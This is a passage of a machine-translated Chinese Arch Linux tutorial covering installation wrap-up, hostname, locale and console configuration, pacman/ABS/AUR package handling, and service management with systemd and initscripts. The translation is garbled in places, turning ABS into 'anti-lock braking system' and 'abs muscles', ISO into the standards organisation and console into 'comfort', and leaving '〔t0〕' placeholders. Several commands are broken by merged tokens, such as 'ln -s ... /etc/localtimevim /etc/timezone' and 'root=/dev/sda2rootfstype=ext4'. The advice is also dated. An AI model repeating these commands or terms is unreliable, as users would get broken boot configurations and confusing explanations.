Syslinux——它们可能也是最受支持的。还有其他可用的引导加载程序,如 LILO。 - -2. 安装程序将建议您检查它创建的配置文件。在大多数情况下,这种配置是正确的,但您应该始终检查它是否正确。查看配置文件中是否使用了正确的设备。您可以通过检查文件系统的布局来验证正确的设备。 -3. Install the boot loader. - - 现在,您已经采取了在计算机上安装基本工作的 Arch Linux 系统所需的所有步骤,安装过程中剩下的唯一事情就是重新启动系统并删除安装介质。然后你可以享受你新安装的 Arch Linux 的第一次引导。 - -4. Reboot the system. - - ### 注 - - 关于执行的主要任务的详细描述,请参考本食谱的*准备*部分。 - -## 它是如何工作的... - -我们通过种子文件或者直接使用网络浏览器下载了 Archboot ISO,并且`md5sum`命令让我们验证下载的 ISO 的完整性。所以现在,我们可以放心,下载的文件是真实的。 - -### 注 - -如果没有验证校验和,切勿使用国际标准化组织。 - -Archboot ISO 包含一个完全正常工作的操作系统,所以我们首先启动它。按下*进入*键,我们自动登录到直播系统。接下来,安装脚本被调用,我们在 Archboot 安装脚本中被删除。 - -安装脚本将调用正确的应用来设置键盘布局和控制台字体,以及选定的日期和时间设置。安装脚本还将跟踪选定的值,并将它们放入适当的配置文件中。 - -如果我们选择了**自动准备**选项,那么基于我们所做的配置,安装程序将运行 fdisk 并创建我们想要的分区方案。 - -如果我们选择对磁盘进行手动分区,那么我们可以选择任何我们想要的布局。一旦我们对分区方案感到满意,安装程序就会问一些问题(例如:安装在哪里?什么文件系统?),并使用我们的答案将我们制作的分区装载到正确的装载点。安装脚本还将跟踪给出的答案,以便它们可以在以后用于生成配置文件。 - -安装脚本将向您显示 pacman 提供给您安装的软件包列表。当您在系统上选择了所有需要的软件包后,安装脚本会将这些带有一些额外参数的软件包传递回 pacman,PAC man 将执行实际安装。 - -安装结束时,将为您准备一份配置文件列表。这些配置文件供您查看。当您对配置文件满意时,保存它。安装脚本现在将使用配置文件将选定的引导加载程序放置到位。 - -## 还有更多... - -当我们想要偏离默认设置时,我们可能需要一些额外的知识。所以我们一个一个来讨论。 - -### ISOs 可以从 u 盘使用 - -从 Arch Linux 下载的 ISOs 都是“混合”映像,这意味着您可以将它们保存在 USB 驱动器上,并且它们将是可引导的。从 u 盘安装也很简单。只需将一个 USB 驱动器连接到您的机器,并发出以下命令: - -```sh -dd if=archlinux-2012.04-2-archboot-dual.iso of=/dev/sdX bs=1M - -``` - -### 注 - -u 盘上的所有信息都将被覆盖。 - -我们需要确保我们为`if`参数设置了正确的输入文件,我们的 ISO。此外,输出文件参数必须是设备,而不是设备的某个分区,如`of=/dev/sdX`。`X`代表系统分配给 u 盘的字母。 - -### 选择当地时间与世界协调时 - -在一些罕见的情况下,选择硬件时钟上的本地时间是最佳选择。例如,在 Windows XP 旁边安装 Arch Linux 时,这是一个不能在硬件时钟和系统时钟上处理不同时间的操作系统。Windows 操作系统的较新版本可以处理设置为世界协调时的硬件时钟。 - -### 桌面系统的安全分区大小选择 - -分区是一个非常广泛的话题。它可以通过无数种组合来完成。我们现在将讨论理解分区所需的一些额外信息。也有一些不错的默认值,让系统快速启动和运行。 - -以下列表是正常桌面使用的选择。对于想玩很多游戏的人来说,这些尺寸选择不符合您的需求: - -* **引导分区** : 50 MB -* **交换分区**: - * 当您的内存小于 4 GB 时:内存+三分之一的内存 - * 当您的内存超过 4 GB 时:将其固定在 4 GB 上(实际上没有必要将其变大) -* **根分区** : 10 GB(游戏玩家可能想在这里转到 50 GB) -* **家庭分区**:这些天你最终会拥有 300 到 400 GB 甚至更多 - -### 选择所需的文件系统 - -当选择将哪个文件系统用于根分区和主分区时,您应该对文件系统的可能性了如指掌。当你不知道的时候,最好的选择是 **ext4** ,因为这是目前默认的文件系统,具有现代的特性、良好的速度和健壮性,所以你不会丢失任何数据。 - -![Selecting the desired filesystem](img/9724OS_02_05.jpg) - -### 启动时的文件系统如何? - -引导分区将自动用 ext2 文件系统格式化。这是最安全的选择,因为当您有一个格式化为 ext2 的引导分区时,您可以找到的所有引导加载程序都能够引导您的系统。 - -### 块设备的命名方案 - -指向块设备(分区)有三种方法: - -* **UUID 方案**:这是一个唯一的 ID,我们可以用它来指向一个块设备 -* **LABEL 方案**:这里我们可以使用分区的标签来指向分区 -* **KERNEL 方案**:这是最古老的通过直接指向设备节点来指向块设备的方法 - -使用 UUID 方案在您的配置中可能看起来很难看,但这是您始终指向正确设备的最确定的方式。假设你有一些硬件变化,设备是以一种新的方式订购的;这样,您仍然可以选择正确的块设备。 - -LABEL 方案看起来非常优雅和简单,但是可能会有一些名称冲突,因为多个物理磁盘分区可以有相同的名称。 - -KERNEL 方案实际上是最古老的,这里我们只是指向某个设备节点(比如`/dev/sda1`),但这可能会在某天发生一些硬件变化后失败,这可能会导致设备节点的顺序不同。 - -![Naming schemes for block devices](img/9724OS_02_06.jpg) - -### 一个不错的桌面分区方案 - -在桌面系统上,尤其是在 Arch Linux 上,我建议有一个单独的`/var`分区。根据您对该分区的其他目标(例如,运行一个巨大的 MySQL 数据库、其他数据库等),合适的值应该是 5 GB 及以上。不要过度,否则`/var`分区会有很多空位。为什么这么大?Pacman 将其缓存保存在`/var`中,您并不真的希望您的根文件系统被充满包缓存的磁盘所死锁。 - -### 选择一面地理位置靠近你的镜子 - -从网上安装 Arch Linux 时,最好选择离家近的镜像,以获得最佳下载速度: - -![Selecting a mirror geographically close to you](img/9724OS_02_07.jpg) - -当网络启动并运行时,您可以选择一个镜像,并选择一个尽可能靠近您所在位置的镜像。这样我们会得到最好的表现。如果你对离你最近的镜像有疑问,可以随时选择[mirrors.kernel.org](http://mirrors.kernel.org)这样的全局镜像,它会自动选择离你最近的服务器。 - -### 选择什么套餐 - -在安装 Arch Linux 的过程中,我们可以选择要安装的软件包列表。我现在将分享我自己喜欢的方式。当这是第一次安装时,我个人倾向于保留从基本组中选择的所有包。如果你真的坚持要从基本组中移除一些包,那就去移除它们吧,但是你真的应该知道在这种情况下你在做什么。 - -![What packages to select](img/9724OS_02_08.jpg) - -### 启用额外的存储库 - -如果这不是 Arch Linux 的第一次安装,您肯定可以启用额外存储库的使用,这样您就可以选择一大堆应用,您肯定知道您想要在您的系统上安装这些应用。例如,您可以立即安装 Xorg、GNOME、XFce、KDE 等。对于第一次安装,我会一步一步来,把多余的留到现在。 - -# 配置您的系统(应该知道) - -在本食谱中,我们将解释用于识别您的系统的配置文件。通常,这些文件只需要配置一次,并在系统的整个生命周期内保持不变。 - -## 做好准备 - -以下列表描述了我们将在本食谱中执行的主要任务: - -* **配置主机名** : A **主机名**是我们给一台机器取的名字,这样可以很容易的识别出我们在说的是哪台机器。因此,如果我们在一个网络中,我们可以很容易地通过主机名来区分不同的机器。 -* **配置控制台**:我们还会配置虚拟控制台,使用什么键盘布局,可能还会为这些配置一些特殊的字体和映射。 -* **配置本地化**:在本任务中,我们将用正确的本地化设置我们的机器。这可以在`locale.conf`文件中非常广泛地完成。在最常见的情况下,我们只在这个文件中设置`LANG`和`LC_COLLATE`。如果想缩小范围,可以通过输入`man locale.conf`获取更多信息。然而,`LC_COLLATE`是其他一切都失败时的退路。 -* **配置时区**:设置时区将确保您的系统时钟是正确的。这必须与`/etc/localtime`结合使用。实际上,它们必须一起更改,所以为了您的安全,请更改`/etc/localtime`符号链接,然后立即将新时区添加到`/etc/timezone`。 -* **配置模块处理**:是否加载默认不加载的额外模块?在“花哨”的硬件或第三方软件(如 VMware 或 VirtualBox)的情况下,我们可能需要这个。您可以在`/etc/modules-load.d/`中添加一个带有模块列表的配置文件。这些模块必须用换行符隔开。当你想在这些文件中添加一些注释时,你可以用`#`或`;`开始你的行。放在目录中的文件只需要一个额外的要求;名字必须以`*.conf`结尾。 - -## 怎么做... - -以下步骤配置主机名: - -1. 用`vim /etc/hostname`编辑主机名进行配置。 - -让我们列出配置控制台所需的步骤: - -1. 编辑〔t0〕。 -2. 添加关键字及其值。例如: - - ```sh - KEYMAP=us - FONT=lat9w-16 - FONT_MAP=8859-1_to_uni - ``` - -让我们列出配置本地化所需的步骤: - -1. 要指出我们想要支持的语言环境,请编辑`/etc/locale.gen`。 -2. 当我们更改了`locale.gen`文件后,运行`locale-gen`。 -3. 要指示我们默认使用的语言环境,请编辑`/etc/locale.conf` : - - ```sh - LANG=en_US.UTF-8 - LC_COLLATE=C - ``` - -让我们列出配置时区所需的步骤: - -1. 创建指向您所在时区的符号链接【T0: - - ```sh - ln -s /usr/share/zoneinfo/Europe/Brussels /etc/localtimevim /etc/timezone - - ``` - -2. 将时区名称复制到`/etc/timezone`中。 - -让我们列出配置模块所需的步骤: - -1. 加载模块时,在`/etc/modules-load.d/`添加一个配置文件。 -2. For blacklisting and passing special parameters to modules, add a configuration file to `/etc/modprobe.d/`. - - ### 注 - - 关于执行的主要任务的详细描述,请参考本食谱的*准备部分*。 - -## 它是如何工作的... - -开机时,系统会读取`/etc/hostname`文件的内容。这些内容将用于向用户标识系统,也用于标识网络中的机器。主机名主要是为了方便用户,因为它比一大串数字更容易记住。 - -终端将允许您在本地化的键盘上打字。屏幕上的输出将与键盘上按下的按钮相对应。此外,终端将以选定的字体向您显示文本输出。最后,它将在需要的地方翻译文本编码。在配置控制台的步骤中显示的示例中,输出将从 ISO-8859-1 转换为 Unicode。 - -如果`LANG=en_US`,所有支持本地化的应用都会为您带来美式英语的输出。当应用没有选定的语言时,它将退回到“C 语言”。C 语言是计算机系统中的默认语言,所以这也将是英语。 - -系统上显示的时间将是您所在时区的时间。当您处于更改夏令时的时区时,您的电脑会自动适应夏令时。 - -所有驻留在以`*.conf`结尾的`/etc/modules-load.d/`中的文件将用于加载额外的模块。驻留在`/etc/modprobe.d/`中的所有`*.conf`文件将用于确定模块是否必须被列入黑名单,或者与一些特殊选项一起使用。 - -## 还有更多... - -让我们看看一些提示和技巧,以便更容易地配置您想要的键盘映射和控制台字体,以及一种查找可用时区的简单方法。 - -### 键盘映射 - -通过列出文件夹`/usr/share/kbd/keymaps`,我们可以得到所有可用键盘布局映射的列表。从下面的截图中,我们可以看到我们已经找到了比利时的布局,因此我们可以将`KEYMAP=be-latin1`添加到我们的配置文件中: - -![KEYMAP](img/9724OS_03_01.jpg) - -### 安慰 - -我们可以通过列出`/usr/share/kbd/consolefonts`找到控制台所有可用字体的列表。当我们找到所需的字体时,我们可以将其添加到配置文件中。比如`CONSOLEFONT=Lat2-Terminus16.psfu.gz`。 - -### CONSOLEMAP - -为了得到可能的转换列表,我们可以取一个`/usr/share/kbd/consoletrans`的列表。或者,我们可以将它添加到我们的配置文件中,但这并不总是需要的。比如`CONSOLEMAP=8859-1_to_uni`。 - -### 找到你的时区 - -找到你的时区并不困难,因为它几乎总是大陆/首都。我们可以在`/usr/share/zoneinfo/`文件夹中运行`ls`并从那里获取: - -```sh -ls /usr/share/zoneinfo/ - -``` - -# 安装和移除包(必须知道) - -在这个食谱中,我们将看到 Arch Linux 中的包管理是如何围绕 pacman 进行的。 **Pacman** 只是包管理器的简称,并不是说包管理就是游戏的笑话。帕克曼的完整指南可以在[https://wiki.archlinux.org/index.php/Pacman](https://wiki.archlinux.org/index.php/Pacman)的维基上找到。Arch Linux 有三个官方存储库:[核心]、[额外]和[社区]。[核心]和[额外]都由 Arch Linux 开发人员维护,而[社区]存储库由可信用户维护。还有很多由 Arch Linux 爱好者维护的非官方存储库,它们安装了官方存储库中找不到的特定类型的软件,从而让你的生活变得轻松很多。非官方资料库的名单可以在[上找到。](https://wiki.archlinux.org/index.php/Unofficial_User_Repositories) - -Arch Linux 使用的是完整的开放模型,这意味着官方存储库中提供的每一个软件都可以由用户重新构建。这就是我们所说的**造拱系统**或者 **ABS** 。Arch Linux 还通过 **Arch 用户存储库**或 **AUR** 为用户提供了一种非常简单的方式来共享存储库中找不到的其他软件的构建脚本。最后,在 https://wiki.archlinux.org/index.php/Common_Applications 的维基上还有一个很好的常用软件列表。这个列表可能会帮助您找到最适合您需求的应用。 - -## 做好准备 - -以下列表描述了我们将在本食谱中执行的主要任务: - -* **配置 pacman** :首先,pacman 的默认配置在`/etc/pacman.conf`完成。其次,您的系统上也默认安装了`/etc/pacman.d/mirrorlist`,其中包含安装过程中使用的选定镜像。镜像列表包含了 Arch Linux 的所有官方镜像。安装后得到的默认配置运行良好。您可以在[https://wiki.archlinux.org/index.php/Pacman](https://wiki.archlinux.org/index.php/Pacman)的维基页面上找到与 pacman 相关的所有信息。 -* **全系统升级**:一旦你的系统安装了所有适合你需求的软件,这可能是最常用的动作了。通常情况下,您只能不时地进行完整的系统升级。 -* **Installing a package from the repositories**: Installing packages with pacman is straightforward. We can pass multiple packages to the command to install more than one package, or we could even pass a groupname to install a whole group of packages. - - ### 注 - - 我们也可以通过更新安装一个包,我们需要将包文件传递给 pacman,以便安装一些软件。 - -* **在存储库中搜索软件包**:这将使我们能够搜索存储库中是否有我们最喜欢的软件,这样我们就可以轻松安装它。 -* **从磁盘安装包**:这实际上与从存储库安装的方式相同,只有一个例外:这里我们将文件传递给命令,而不是包名。 -* **删除一个包**:当我们厌倦了一个包,或者我们发现了一些新的软件,做同样的工作,但是更适合我们的需求,我们可以删除某个包,甚至是一个组。 -* **清理包缓存**:久而久之,我们不希望自己的磁盘被旧的包文件填满,所以时不时的清理包缓存是一个非常好的做法。 -* **官方和非官方的存储库** : Arch Linux 默认给我们提供了很多包,这些都可以在官方的存储库中找到。官方存储库包含由 Arch Linux 开发人员和可信用户支持的包。 -* **使用拱形构建系统**:**拱形构建系统** ( **ABS** )类似于您在 FreeBSD 中找到的端口系统。所有在官方存储库中创建包的构建脚本都可以通过 ABS 获得。这使您作为用户能够根据自己的意愿,用自己的编译器标志来重建每个包,等等。如果你想充分利用防抱死制动系统,你需要用 pacman 安装**base-dev**和**防抱死制动系统**。如果你只想检查事情是如何完成的,你只需要安装 abs。 -* **Using the Arch User Repository**: The **Arch User Repository** (**AUR**) contains packages not found in the official repositories and are pure user contributed content. So everyone registered on the AUR website [https://aur.archlinux.org](https://aur.archlinux.org) can upload new packages, so other users might benefit from that work. To use the AUR you must install base-devel. For more details about the AUR, I will refer to the wiki at [https://wiki.archlinux.org/index.php/AUR](https://wiki.archlinux.org/index.php/AUR). - - ![Getting ready](img/9724OS_04_06.jpg) - -* 使用 makepkg: Makepkg 是用于为 Arch Linux 构建包的工具。我不会太深入的使用,但会带你加快速度,让你的包从 ABS 或 AUR。Makepkg 假设安装了 base-dev。另见[https://wiki.archlinux.org/index.php/Makepkg](https://wiki.archlinux.org/index.php/Makepkg)。Makepkg 必须在至少有一个名为`PKGBUILD`的文件的目录中调用。 - -## 怎么做... - -让我们列出配置 pacman 所需的步骤: - -1. 编辑`/etc/pacman.conf`修改选项或添加/删除一些存储库。 -2. 编辑`/etc/pacman.d/mirrorlist`更改或添加一个带有官方存储库的镜像。 -3. 以 root 用户身份运行`pacman -Syu`进行完整系统升级。 -4. 要从存储库中安装软件包,在终端中以 root 用户身份运行`pacman -S somepackage`。 -5. 作为根用户,运行`pacman -Ss somepackage`在存储库中搜索包。 -6. 在终端中以 root 用户身份运行`pacman -U somepackage.pkg.tar.xz`,从磁盘安装软件包。 -7. 作为根用户,运行`pacman -R somepackage`移除包。 -8. 要清理包缓存,请以 root 用户身份运行`pacman -Sc`并回答问题。 - -让我们列出配置官方和非官方存储库所需的步骤: - -1. 打开`/etc/pacman.conf`。 -2. 禁用或启用官方存储库,或添加非官方存储库。 - -让我们列出使用防抱死制动系统所需的步骤: - -1. 安装基础开发和 abs: - - ```sh - pacman -Syu base-devel abs - - ``` - -2. 可选编辑`/etc/abs.conf`。 -3. 让腹肌同步`abs`脚本。你必须以 root 用户身份运行 abs。 - -让我们列出使用 AUR 所需的步骤: - -1. 安装基础开发: - - ```sh - pacman -Syu base-devel - - ``` - -2. 在 AUR 搜索您最喜欢的应用。 -3. 下载 tarball 并开始构建它。 - -让我们列出使用 makepkg 所需的步骤: - -1. 转到包含 buildscript 的文件夹(`PKGBUILD`)。 -2. 运行`makepkg`。 -3. This should get the package to build. If it is missing dependencies to build the package, you will need to install those first. - - ### 注 - - 关于执行的主要任务的详细描述,请参考本食谱的*准备*部分。 - -## 它是如何工作的... - -`pacman.conf`中设置的选项将决定 pacman 的行为。这些变化从忽略包或组,从更新到额外的存储库。我们在 mirrorlist 中定义的内容将决定我们的包来自哪里(来自哪个服务器)。 - -完整系统升级命令会将本地软件包数据库与远程软件包数据库同步,根据您安装的软件包,它会询问您是否要继续安装某些升级的软件包。 - -![How it works...](img/9724OS_04_01.jpg) - -`pacman -S somepackage`命令会查找你传递的包名或包组,如果存在,会继续尝试安装。 - -![How it works...](img/9724OS_04_02.jpg) - -在执行`pacman -Ss somepackage`命令时,pacman 将在本地同步的数据库中搜索我们正在寻找的包是否在某个地方可用。如果是这样的话,我们将看看有什么版本可供我们安装。 - -![How it works...](img/9724OS_04_03.jpg) - -在执行`pacman -U somepackage.pkg.tar.xz`命令时,pacman 将检查包的依赖关系,并尝试将这些依赖关系与您想要安装的包一起安装。当一切顺利时,它会将包装安装在 tarball 内的正确位置。 - -执行`pacman -R somepackage`命令时,包装将从系统中移除。包唯一剩下的东西就是缓存中的一个条目。 - -![How it works...](img/9724OS_04_04.jpg) - -在执行`pacman -Sc`命令时,pacman 会寻找旧的包文件,并询问您是否希望从文件系统中删除这些文件。 - -![How it works...](img/9724OS_04_05.jpg) - -帕克曼将`pacman.conf`用于选项和存储库。所有启用的存储库现在都将用于软件包安装。如果我们有一些配置不匹配,帕克曼会通知我们。 - -Abs 将使用`rsync`将官方存储库中使用的构建脚本同步到您的本地计算机。例如,这将帮助您构建一个官方支持的包,并启用或禁用其他选项。 - -AUR 实际上只是一个收集了用户贡献的构建脚本的网站。如果您最喜欢的应用已经在那里可用,您可以从其他人已经完成的工作中受益。通过评论做出改进也非常容易。 - -Makepkg 将读取`PKGBUILD`文件中描述的信息,以正确构建包,并以正确的格式让 pacman 将其安装到您的系统上。 - -![How it works...](img/9724OS_04_07.jpg) - -## 还有更多... - -`pacman.conf`文件有由`[section]`定义的部分。这些部分中可以定义一些选项。有一个名为`[options]`的特殊区域,可以为 pacman 配置全局选项。其他部分是默认或用户定义的存储库。关于存储库,声明的顺序很重要。最靠近文件顶部的存储库将优先,按降序排列。这对于提供同名包的存储库非常重要。顺序也很重要,以便理解为什么`[testing]`必须定义在`[core]`之上。一般来说`pacman.conf`文件通过注释的方式很好地记录了所提供的选项,但是在这里我们将尝试深入解释它们。 - -**镜像列表**是一个列出了所有官方 Arch Linux 镜像的文件。让我们找一个离家更近的镜子,这样我们就可以获得最好的下载速度。我们可以在这里定义多个服务器。请注意,这不会给我们来自最新服务器的包,但是当列表中的第一个不可访问时,第二个可以使用,因此我们仍然能够更新我们的系统。 - -### pacman . conf 选项 - -`pacman.conf`选项可以在[https://www.archlinux.org/pacman/pacman.conf.5.html](https://www.archlinux.org/pacman/pacman.conf.5.html)找到。默认情况下,一切都应该开箱即用。默认值对于新用户来说也应该足够了。 - -### 一些存储库样本 - -以下是`[core]`存储库的示例。我们可以看到包需要签名检查,并且我们对配置的服务器使用 mirrorlist。 - -```sh -[core] -SigLevel = PackageRequired -Include = /etc/pacman.d/mirrorlist -``` - -以下示例将使用`[options]`部分中定义的默认`SigLevel`,当使用时,它将首先尝试使用 FTP,当该选项不可用时,它将返回到 HTTP: - -```sh -[otherrepository] -Server = ftp://10.0.0.1/$repo/$arch -Server = http://10.0.0.1/$repo/$arch -``` - -在下面的示例中,我们有一个本地存储库,您可以在其中看到可用于填写`Server`选项的所有可能的 URL: - -```sh -[somelocalrepository] -Server = file:///home/packages/$repo/$arch -``` - -### 官方和非官方存储库的更多信息 - -默认情况下,官方存储库列在`pacman.conf`中。默认情况下,并非所有选项都处于启用状态。还有一个不错的非官方软件库列表,在那里你可以找到一些非常高质量的软件。 - -有关官方存储库以及在什么情况下应该启用或禁用它们的完整信息,请查看[https://wiki . archlinux . org/index . PHP/The _ Arch _ Linux _ Repositories](https://wiki.archlinux.org/index.php/The_Arch_Linux_Repositories)。 - -由于建立自己的存储库很容易,所以有很多用户正在构建一组特定的包,并将它们作为非官方的存储库提供给每个人。非官方存储库的完整列表可以在[https://wiki . archlinux . org/index . PHP/野史 _ 用户 _ 存储库](https://wiki.archlinux.org/index.php/Unofficial_User_Repositories)上找到。 - -### 关于防抱死制动系统的更多信息 - -通过使用防抱死制动系统,我们作为用户在我们的系统上获得了很大的灵活性。对于首次使用防抱死制动系统的用户,您可能想查看位于[https://wiki.archlinux.org/index.php/ABS](https://wiki.archlinux.org/index.php/ABS)的防抱死制动系统维基页面。简单介绍,也可以参考[https://wiki.archlinux.org/index.php/ABS_FAQ](https://wiki.archlinux.org/index.php/ABS_FAQ)。 - -# 用 systemd 引导和管理服务(应该知道) - -Systemd 为我们提供了一种更现代的引导方法。它还受益于现代多核处理器,并依靠非常积极的并行化来快速完成工作。Arch Linux 默认提供 systemd。Systemd 使用“所谓的服务文件”来定义某个服务或“所谓的守护进程”必须如何以及何时启动。 - -## 做好准备 - -以下列表描述了我们将在本食谱中执行的主要任务: - -* **安装系统** -* **设置默认目标**:使用 initscripts 时,可以将默认目标与运行级别进行比较。这是不一样的,但源于同样的想法,你希望在某些情况下开始一些东西。“所谓的运行级”在系统世界中被称为**目标**。 -* **手动启动服务**:使用`systemctl`命令,我们可以按需启动和停止服务。 -* **启动时启用服务**:当然 systemd 可以在启动时启动服务。启用或禁用这些服务非常简单。 - -## 怎么做... - -让我们列出安装 systemd 所需的步骤: - -1. 安装系统和系统拱装置,通过运行`pacman -S systemd systemd-arch-units`进行安装。 -2. 通过编辑`/boot/syslinux/syslinux.cfg` : - - ```sh - APPEND initrd=/initramfs-linux.img root=/dev/sda2rootfstype=ext4 ro init=/bin/systemd - - ``` - - 将`init=/bin/systemd`添加到您的内核命令行 - -让我们列出设置默认目标所需的步骤: - -1. 如果你想以图形系统结束,启用图形目标: - - ```sh - systemctl enable graphical.target - - ``` - -2. 当一个终端足够时,多用户目标就足够了: - - ```sh - systemctl enable multi-user.target - - ``` - -3. 通过运行以下命令手动启动服务: - - ```sh - systemctl start service - - ``` - -4. Enable services during boot time by running the following command: - - ```sh - systemctl enable service - - ``` - - ### 注 - - 关于执行的主要任务的详细描述,请参考本食谱的*准备*部分。 - -## 它是如何工作的... - -我们需要 systemd-arch-units 包,因为并非所有提供服务的包都提供了能够与 systemd 一起使用的服务文件。由于我们在内核命令行中添加了`init=/bin/systemd`,系统将使用 systemd 进行启动。 - -这几天只有两个目标可以自动设置为默认目标,因为只有`graphical.target`和`multi-user.target`提供默认目标安装。 - -在`systemctl start service`命令中,`service`实际上是一个文件的名称。例如,网络管理器有一个名为`NetworkManager.service`的系统服务文件,我们需要将这个全名传递给`systemctl`命令。例如: - -```sh -systemctl start NetworkManager.service - -``` - -为了能够知道在引导期间启动哪些服务,`systemctl`将在正确的位置创建指向特定服务文件的符号链接,systemd 将在引导期间搜索这些文件。 - -## 还有更多... - -一旦我们对 systemd 引导我们的系统感到满意,我们最终可以对它进行更多的微调。 - -### 仅系统初始化 - -以下命令将为 initscripts 的兼容性提供符号链接: - -```sh -pacman -S systemd-sysvcompat - -``` - -结果是您可以在内核命令行中省略额外的参数`init=/bin/systemd`。 - -我们可以通过更改引导加载程序配置中的内核命令行来轻松更改所需的目标。这使得测试某些特定目标是否适合我们的需求变得容易。 - -### 在内核命令行设置目标 - -类似于在使用 initscripts 时在内核命令行中附加一个数字,我们也可以使用`systemd.unit`参数为 systemd 这样做。 - -例如,考虑将 Syslinux 作为引导加载程序,打开`/boot/syslinux/syslinux.cfg`并将`systemd.unit=multi-user.target`添加到内核命令行: - -```sh -APPEND initrd=/initramfs-linux.img root=/dev/sda2 rootfstype=ext4ro systemd.unit=multi-user.target - -``` - -前面的例子对于只有 systemd 的系统有效,否则我们也需要`init=/bin/systemd`。 - -### 列出所有可用的服务 - -我们可能想知道我们的系统上有哪些服务,当然我们也想知道我们可以用这些服务做什么。 - -我们可以列出所有使用过的服务,或者通过运行以下命令选择列出所有可用的服务: - -```sh -systemctl list-units --type=service -systemctl list-units -a --type=service - -``` - -### 服务的默认操作 - -默认情况下,systemd 支持`start`、`stop`、`restart`、`reload`和`status`等动作。可用动作更多,可通过发布`man systemctl`找到。 - -### 检查启动时是否会启动服务 - -在启用服务之前,我们可能需要检查服务是否尚未启用。我们可以通过使用`is-enabled`操作来检查在引导过程中是否已经启用了服务来启动: - -```sh -systemctl is-enabled service - -``` - -### 在引导期间禁止服务启动 - -如果我们找到一些不再需要的服务,我们会想禁用它。有时,我们不再希望在引导过程中启动某些服务,因此我们需要禁用它们: - -```sh -systemctl disable service - -``` - -# 使用 initscripts 引导和管理服务(应该知道) - -在这个食谱中,我们将学习 initscripts。 **Initscripts** 是确保您的计算机正常启动的脚本集合。它还提供必要的功能和工具来管理系统上的服务。Initscripts 的服务通常被称为**守护程序**([https://wiki.archlinux.org/index.php/Daemon](https://wiki.archlinux.org/index.php/Daemon))。如今,使用 initscripts 引导仍然可以与 systemd 结合使用,但是随着时间的推移,initscripts 的使用将被阻止和淘汰。 **Systemd** 是一个守护进程,它控制你的系统的启动,也管理在其上运行的服务。initscripts 是用 **Bash** 编写的,所以需要的时候很容易阅读和修改。关于 Arch Linux 引导过程的扩展信息可以在[https://wiki.archlinux.org/index.php/Arch_Boot_Process](https://wiki.archlinux.org/index.php/Arch_Boot_Process)找到。 - -## 做好准备 - -以下列表描述了我们将在本食谱中执行的主要任务: - -* **改变运行级别**:运行级别的定义有些抽象。**运行级别**将决定启动哪些应用。Arch Linux 使用了一些全局定义的运行级别,我们可以准确地找到它们在[https://wiki.archlinux.org/index.php/Runlevels](https://wiki.archlinux.org/index.php/Runlevels)上的作用。当系统运行时,您可以动态更改运行级别,或者您可能希望在机器上执行一些管理操作,要求您更改运行级别。 -* **设置默认运行级别**:默认使用的运行级别为`3`。这是不启动`X`的多用户运行级别。 -* **手动启动一个服务(守护进程)**:有了 initscripts,一些服务的启动和停止所需的所有文件也只是 Bash 脚本,所以可以直接调用。 -* **自动启动服务(守护程序)**:引导期间启动的守护程序列表配置在`DAEMONS`阵列内的`rc.conf`文件中。 - -## 怎么做... - -以下步骤更改运行级别: - -1. 运行`telinit runlevel`更改运行级别,其中`runlevel`是从`0`到`6`的数字。 - -让我们列出设置默认运行级别所需的步骤: - -1. 编辑〔t0〕。 -2. 改变你找到的线`id:3:initdefault:`。这里你已经看到默认选择的运行级别是`3`。 -3. 通过运行`telinit q`,测试您的配置是否正确。 -4. 要手动启动服务(守护程序),首先直接调用脚本: - - ```sh - /etc/rc.d/somedaemon start - - ``` - -让我们列出自动启动服务(守护程序)所需的步骤: - -1. 编辑〔t0〕。 -2. 随意在`DAEMONS`数组中添加一个新项目: - - ```sh - DAEMONS=(syslog-ng network crond) - ``` - -3. Save the file. - - ### 注 - - 关于执行的主要任务的详细描述,请参考本食谱的*准备*部分。 - -## 它是如何工作的... - -`telinit`命令将改变运行级别,根据您切换到的数量,一些正在运行的应用和守护程序可能会停止或刚刚启动。 - -在`inittab`文件中设置的默认选定运行级别决定了在电脑启动期间将使用哪些脚本。这也是为什么您总是需要通过运行`telinit q`来检查配置是否正确的原因,因为如果`inittab`文件以某种方式损坏,您的系统将无法启动。 - -位于`/etc/rc.d/`文件夹中的 Bash 脚本将是可执行的。默认情况下,它还将提供三个动作:`start`、`stop`和`restart`。 - -在启动期间,initscripts 将读取在`rc.conf`文件中定义的`DAEMONS`数组,并且按照它们被定义的顺序,所有守护程序将在启动期间启动。 - -## 还有更多... - -现在让我们谈谈一些与这个食谱相关的一般信息。 - -### 运行水平 - -运行级别只是数字,但对我们人类来说,记住句子更容易。所以我们对一个动作和运行级别号进行匹配。 - -以下列表定义了每个运行级别编号: - -* `0`电源关闭 -* `1`:单用户模式(救援模式) -* `2`和`4`:这些都是用户定义的,但是和其他系统一样,默认情况下它们和`3`是一样的 -* `3`:多用户模式;用户可以通过终端或网络登录 -* `5`:多用户图形化模式;这是运行级`3 + X`(一些显示管理器) -* `6`:重启 -* `emergency`:应急 Shell(开机失败时会遇到) - -### 在内核命令行中设置默认运行级别 - -`/etc/inittab`文件的修改会导致系统无法启动。因此,还有其他方法来配置默认运行级别。 - -我们可以在引导加载器配置文件中配置的内核命令行中设置我们想要的默认运行级别。这将允许我们安全地切换运行级别。 - -让我们执行以下步骤,通过引导加载程序(本例中为 Syslinux)设置默认运行级别: - -* Edit `/boot/syslinux/syslinux.cfg`. - - ```sh - APPEND initrd=/initramfs-linux.img root=/dev/sda2rooftfstype=ext4 ro 5 - - ``` - - 我们已经将默认运行级别设置为`5`(图形模式)。 - -### 默认动作 - -Arch Linux 提供了一个助手应用,使得在一个命令中启动多个守护程序变得容易。 - -默认情况下,有助于启动守护程序的脚本通常会提供三个操作: - -* `start`:启动守护进程 -* `stop`:停止守护进程 -* `restart`:重启守护进程 - -另一个常见的动作是`reload`,这有助于正在运行的守护进程在没有真正停止的情况下实际重新加载其配置。 - -### 遥控辅助器 - -Arch Linux 提供了一个助手,可以在一个命令中启动和停止多个服务。助手附带了一个不错的手册页,你可以通过发布`man rc.d`来阅读。 - -```sh -rc.d action daemon1 daemon2 ... - -``` - -您可以提供给`rc.d`的动作与您可以直接传递给脚本的动作相同。所以如果一个脚本提供了`reload`动作,`rc.d`可以使用它。 - -现在,启动守护程序的默认方式是顺序的。第一个必须正确启动,然后才能启动下一个。我们可以通过稍微不同地配置`DAEMONS`阵列来提高引导时间。 - -### 后台可以启动守护进程 - -如果我们想让某个服务与其后续服务并行启动,您可以在`DAEMONS`数组的条目前添加`@`: - -```sh -DAEMONS=(syslog-ng network @crond) -``` - -### 将守护进程留在阵列中,不启动 - 